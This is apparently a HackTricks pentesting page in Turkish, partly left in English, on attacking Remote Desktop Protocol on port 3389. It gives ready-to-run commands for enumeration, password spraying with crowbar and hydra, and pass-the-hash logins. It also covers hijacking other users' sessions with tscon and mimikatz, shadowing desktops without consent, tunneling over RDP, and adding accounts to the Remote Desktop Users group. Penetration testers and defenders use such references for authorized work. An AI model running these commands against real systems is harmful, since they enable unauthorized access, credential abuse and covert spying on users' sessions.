3389 - Pentesting RDP

Tip

AWS Hacking öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE) Değerlendirme yolları (ARTA/GRTA/AzRTA) ve Linux Hacking Expert (LHE) için tam HackTricks Training kataloğuna göz atın.

HackTricks'i Destekleyin

Temel Bilgiler

Microsoft tarafından geliştirilen Remote Desktop Protocol (RDP), bilgisayarlar arasında bir ağ üzerinden grafiksel bir arayüz bağlantısı kurulmasını sağlar. Böyle bir bağlantıyı gerçekleştirmek için kullanıcı RDP istemci yazılımını kullanır ve aynı zamanda uzak bilgisayarın RDP sunucu yazılımını çalıştırıyor olması gerekir. Bu düzen, uzak bir bilgisayarın masaüstü ortamının sorunsuz bir şekilde kontrol edilmesine ve erişilmesine olanak tanır; temelde arayüzünü kullanıcının yerel cihazına getirir.

Varsayılan port: 3389

PORT     STATE SERVICE
3389/tcp open  ms-wbt-server

Keşif

Otomatik

nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>

Mevcut şifrelemeyi ve DoS açığını (servise DoS neden olmadan) kontrol eder ve NTLM Windows bilgilerini (sürümler) elde eder.

Güvenlik Katmanı / NLA Kontrolleri

RDP farklı güvenlik katmanlarını (native RDP, TLS, or CredSSP/NLA) müzakere edebilir. Sunucu tarafı ayarlarını ve NLA’nın gerekli olup olmadığını hızlıca fingerprint’leyebilirsiniz:

# Security layer and encryption info
nmap --script rdp-enum-encryption -p 3389 <IP>

# Quick auth check (also reports if NLA is required)
nxc rdp <IP> -u <user> -p <password>

# Pre-auth screenshot only works if NLA is disabled
nxc rdp <IP> --nla-screenshot

# Authenticated screenshot after valid login
nxc rdp <IP> -u <user> -p <password> --screenshot

Brute force

Dikkat edin, hesapları kilitleyebilirsiniz

Password Spraying

Dikkat edin, hesapları kilitleyebilirsiniz

# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp

Bilinen kimlik bilgileri/hash ile bağlan

rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash

Bilinen kimlik bilgilerini RDP hizmetlerine karşı kontrol et

impacket’teki rdp_check.py, bazı kimlik bilgilerinin bir RDP hizmeti için geçerli olup olmadığını kontrol etmenizi sağlar:

rdp_check <domain>/<name>:<password>@<IP>

Saldırılar

Session stealing

SYSTEM izinleriyle, sahibinin parolasını bilmenize gerek kalmadan herhangi bir kullanıcının açtığı herhangi bir RDP oturumuna erişebilirsiniz.

Açık oturumları al:

query user

Seçilen oturuma erişim

tscon <ID> /dest:<SESSIONNAME>

Now you will be inside the selected RDP session and you will have impersonate a user using only Windows tools and features.

Important: When you access an active RDP sessions you will kickoff the user that was using it.

Seçili RDP oturumunun içine gireceksiniz ve yalnızca Windows araçları ve özellikleri kullanarak bir kullanıcının kimliğine bürüneceksiniz.

Important: Aktif bir RDP oturumuna eriştiğinizde, o oturumu kullanan kullanıcı oturumdan atılacaktır.

You could get passwords from the process dumping it, but this method is much faster and led you interact with the virtual desktops of the user (passwords in notepad without been saved in disk, other RDP sessions opened in other machines…)

Parolaları süreç dump’layarak elde edebilirsiniz, ancak bu yöntem çok daha hızlıdır ve kullanıcının sanal masaüstleriyle etkileşime girmenizi sağlar (diskte kaydedilmeden notepad’te açık olan şifreler, diğer makinelerde açık diğer RDP oturumları…)

Mimikatz

You could also use mimikatz to do this:

Bunu yapmak için ayrıca mimikatz kullanabilirsiniz:

ts::sessions        #Get sessions
ts::remote /id:2    #Connect to the session

RDP Shadowing (Remote Control)

Eğer Remote Desktop Services shadowing etkinse, yerleşik mstsc anahtarlarını kullanarak başka bir kullanıcının aktif oturumunu görebilir veya kontrol edebilirsiniz (bazı durumlarda izinsiz olarak).

# List sessions on a remote host
qwinsta /server:<IP>
quser /server:<IP>

# Shadow a specific session (consent required if policy enforces it)
mstsc /v:<IP> /shadow:<SESSION_ID> /control

# Shadow without consent if policy allows it
mstsc /v:<IP> /shadow:<SESSION_ID> /noconsentprompt /prompt

# Check current shadowing policy on the target
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow

RDP Sanal Kanal Tünelleme

RDP, kurulmuş bir RDP oturumu üzerinden sanal kanallar aracılığıyla pivoting/tunneling için kötüye kullanılabilecek özellikler sunar. Bir seçenek, RDP üzerinden TCP yönlendirmelerini multiplexleyebilen rdp2tcp (client/server)dir (FreeRDP ile çalışır).

# Start FreeRDP with rdp2tcp virtual channel
xfreerdp /u:<user> /v:<IP> /rdp2tcp:/path/to/rdp2tcp/client/rdp2tcp

Tunneling and Port Forwarding

Sticky-keys & Utilman

Bu tekniği stickykeys veya utilman ile herhangi bir zamanda yönetici CMD’sine ve herhangi bir RDP oturumuna erişebileceksiniz

You can search RDPs that have been backdoored with one of these techniques already with: https://github.com/linuz/Sticky-Keys-Slayer

RDP Process Injection

Eğer farklı bir domain’den veya daha yüksek ayrıcalıklara sahip olup login via RDP ile sizin Admin olduğunuz PC’ye giriş yaparsa, beacon’ınızı onun RDP session process’ine inject ederek onun gibi hareket edebilirsiniz:

RDP Sessions Abuse

RDP grubuna kullanıcı ekleme

net localgroup "Remote Desktop Users" UserLoginName /add

Otomatik Araçlar

AutoRDPwn, esas olarak Microsoft Windows bilgisayarlarındaki Shadow saldırısını otomatikleştirmek için Powershell ile yazılmış bir post-exploitation framework’tür. Bu zafiyet (Microsoft tarafından bir özellik olarak listelenmiştir), uzaktaki bir saldırganın kurbanının masaüstünü rızası olmadan görüntülemesini ve hatta işletim sisteminin kendi yerel araçlarını kullanarak talep üzerine kontrol etmesini sağlar.

  • EvilRDP

  • Komut satırından otomatik olarak fare ve klavyeyi kontrol etme

  • Komut satırından otomatik olarak panoyu kontrol etme

  • İstemciden RDP üzerinden hedefe ağ iletişimini kanalize eden bir SOCKS proxy oluşturma

  • Hedefe dosya yüklemeden rastgele SHELL ve PowerShell komutları çalıştırma

  • Hedefte dosya transferleri kapalı olsa bile hedefe dosya yükleyip hedeften dosya indirebilme

  • SharpRDP

Bu araç, kurbanın RDP’sinde grafik arayüze ihtiyaç duymadan komut çalıştırmaya izin verir.

HackTricks Otomatik Komutları

Protocol_Name: RDP    #Protocol Abbreviation if there is one.
Port_Number:  3389     #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html

Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}

Kaynaklar

Tip

AWS Hacking öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE) Değerlendirme yolları (ARTA/GRTA/AzRTA) ve Linux Hacking Expert (LHE) için tam HackTricks Training kataloğuna göz atın.

HackTricks'i Destekleyin